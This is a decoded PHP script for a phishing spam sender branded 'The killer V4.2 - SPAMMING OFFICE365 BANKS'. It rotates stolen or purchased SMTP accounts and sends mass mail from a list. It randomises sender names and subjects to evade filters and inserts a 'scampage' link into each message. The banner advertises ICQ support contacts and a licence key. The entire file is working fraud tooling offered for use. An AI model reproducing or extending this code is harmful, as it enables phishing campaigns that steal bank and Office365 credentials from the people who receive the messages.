PHP Decode

<?php 
require_once("Set/phpmailer/PHPMailerAutoload.php"); 
include('Set/Clay.settings.php'); 
include('Set/Clay.function.php'); 
                                    
echo "                       \e[0m\e[1;91m                    \e[0m
"; 
                                                                              
 
 
echo "          \e[0m\e[1;36m                   \e[0m
"; 
echo "          \e[0m\e[1;36m                 \e[0m
"; 
echo "          \e[0m\e[1;36m                         \e[0m
"; 
echo "          \e[0m\e[1;36m                         \e[0m
"; 
echo "          \e[0m\e[1;36m                \e[0m
"; 
echo "          \e[0m\e[1;36m                \e[0m
"; 
echo "          \e[0m\e[1;92m                                                                  V4.2 From The killer \e[0m
"; 
 
 echo "               \e[0m\e[1;91m                     \e[0m
"; 
echo "
"; 
echo "\e[1;32m           \e[1;91m
"; 
echo "\e[1;32m               \e[1;33m  The killer V4.2 - SPAMMING OFFICE365 BANKS\e[1;32m         \e[0m
"; 
echo "\e[1;32m             \e[1;36m         Communicate with support directly        \e[1;32m     \e[0m
"; 
echo "\e[1;32m             \e[1;91m            ICQ     : \e[1;  37m770675088\e[1;32m                        \e[0m
"; 
echo "\e[1;32m             \e[1;92m     Key killer     : KUBCDSJDvATkWLZefHgGzyi  \e[1;37m\e[1;32m     \e[0m
"; 
echo "\e[1;32m           \e[1;32m
"; 
echo "\e[1;32m              
"; 
echo "
"; 
 
function Kirim($email, $smtp_acc, $gx_setup) 
{ 
    $smtp           = new SMTP; 
    $smtp->do_debug = 0; 
 
    $smtpserver     = $smtp_acc['host'];  
    $smtpport       = $smtp_acc['port']; 
    $smtpuser       = $smtp_acc['username']; 
    $smtppass       = $smtp_acc['password']; 
    $priority       = $gx_setup['priority']; 
    $userandom      = $gx_setup['userandom']; 
    $sleeptime      = $gx_setup['sleeptime']; 
    $replacement    = $gx_setup['replacement']; 
    $userremoveline = $gx_setup['userremoveline']; 
    $fromname       = $gx_setup['fromname']; 
    $frommail       = $gx_setup['frommail']; 
    $subject        = $gx_setup['subject']; 
    $msgfile        = $gx_setup['msgfile']; 
    $filepdf        = $gx_setup['filesend']; 
    $randurl        = $gx_setup['scampage']; 
 
    if (!$smtp->connect($smtpserver, $smtpport)) { 
        throw new Exception('Connect failed'); 
    } 
 
    //Say hello 
    if (!$smtp->hello(gethostname())) { 
        throw new Exception('EHLO failed: ' . $smtp->getError()['error']); 
    } 
 
    $e = $smtp->getServerExtList(); 
 
    if (array_key_exists('STARTTLS', $e)) { 
        $tlsok = $smtp->startTLS(); 
        if (!$tlsok) { 
            throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']); 
        } 
        if (!$smtp->hello(gethostname())) { 
            throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']); 
        } 
        $e = $smtp->getServerExtList(); 
    } 
 
    if (array_key_exists('AUTH', $e)) { 
 
        if ($smtp->authenticate($smtpuser, $smtppass)) { 
            $mail           = new PHPMailer; 
            $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable 
            $mail->CharSet  = 'UTF-8'; 
            $mail->headerLine("format", "flowed"); 
            /*  Smtp connect    */ 
            //$mail->addCustomHeader('X-Ebay-Mailtracker', '11400.000.0.0.df812eaca5dd4ebb8aa71380465a8e74'); 
            $mail->IsSMTP(); 
            $mail->SMTPAuth = true; 
            $mail->Host     = $smtpserver; 
            $mail->Port     = $smtpport; 
            $mail->Priority = $priority; 
            $mail->Username = $smtpuser; 
            $mail->Password = $smtppass; 
 
            if ($userandom == 1) { 
                $rand     = rand(1, 50); 
                $fromname = randName($rand); 
                $frommail = randMail($rand); 
                $subject  = randSubject($rand); 
            } 
 
            if ($gx_setup['filesend'] == 0) { 
                $filepdf = file_get_contents($AddAttachment); 
                $mail->AddAttachment($filepdf); 
            } 
 
            $asu       = RandString1(8); 
            $asu1      = RandString(5); 
            $asu2      = RandString1(5); 
            $nmbr      = RandNumber(5); 
            $fromnames = str_replace('##randstring##', $asu1, $fromname); 
            $frommails = str_replace('##randstring##', $asu, $frommail); 
            $subjects  = str_replace('##randstring##', $asu2, $subject); 
 
            $mail->setFrom($frommails, $fromnames); 
 
            $mail->AddAddress($email); 
 
            $mail->Subject = $subjects; 
            if ($replacement == 1) { 
                $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject); 
            } else { 
                $msg = file_get_contents($msgfile); 
            } 
 
            $mail->msgHTML($msg); 
 
            if (!$mail->send()) { 
                echo "SMTP Error : " . $mail->ErrorInfo; 
                exit(); 
            } else { 
            echo "\e[0m\e[1;91m[ \e[1;32m CLAY SENDER V4.2 \e[0m\e[1;91m] 
"; 
            echo "\e[0;37m  \e[1;32m
"; 
                echo "\e[1;36m  \e[1;33mDATE      \e[0;37m    : \e[1;33m"; 
           
                echo date('h:i:s A'); 
                echo "\e[1;34m 
"; 
                echo "\e[1;36m  \e[1;33mName Send\e[0m     :\e[1;36m $fromname\e[0m
";  
                echo "\e[1;36m  \e[1;33mTo Mail   \e[0m    :\e[1;91m $email\e[0m
";  
                echo "\e[1;36m  \e[1;33mStatus\e[0m        : \e[1;32mSuccess!\e[0m
"; 
                echo "\e[0;37m  \e[1;32m
"; 
 
                echo "\e[0m\e[1;91m[ \e[1;32m ICQ : 749235477 \e[0m\e[1;91m ] 
"; 
            } 
            $mail->clearAddresses(); 
 
        } else { 
            throw new Exception('Authentication failed: ' . $smtp->getError()['error']); 
        } 
 
        $smtp->quit(true); 
 
    } 
 
} 
 
 
 
    $file = file_get_contents($gx_setup['mail_list']); 
    if ($file) { 
        $ext = preg_split('/
|
?/', $file); 
        echo "                               \e[1;91m\e[1;91m 
"; 
        echo "\e[0;91m[\e[1;33m\e[1;4mThe killer V4.2 ]\e[0;91m\e[0m"; 
        echo "
"; 
        echo "
"; 
        $smtp_key = 0; 
        foreach ($ext as $num => $email) { 
 
            if ($smtp_key == count($smtp_acc)) { 
                $smtp_key = 0; 
            } 
            //kirim 
            Kirim($email, $smtp_acc[$smtp_key], $gx_setup); 
 
            $smtp_key++; 
 
            /// 
            sleep($gx_setup['sleeptime']); 
        } 
        if ($gx_setup['userremoveline'] == 1) { 
            $remove = Removeline($mailist, $email); 
        } 
    } 
 ?>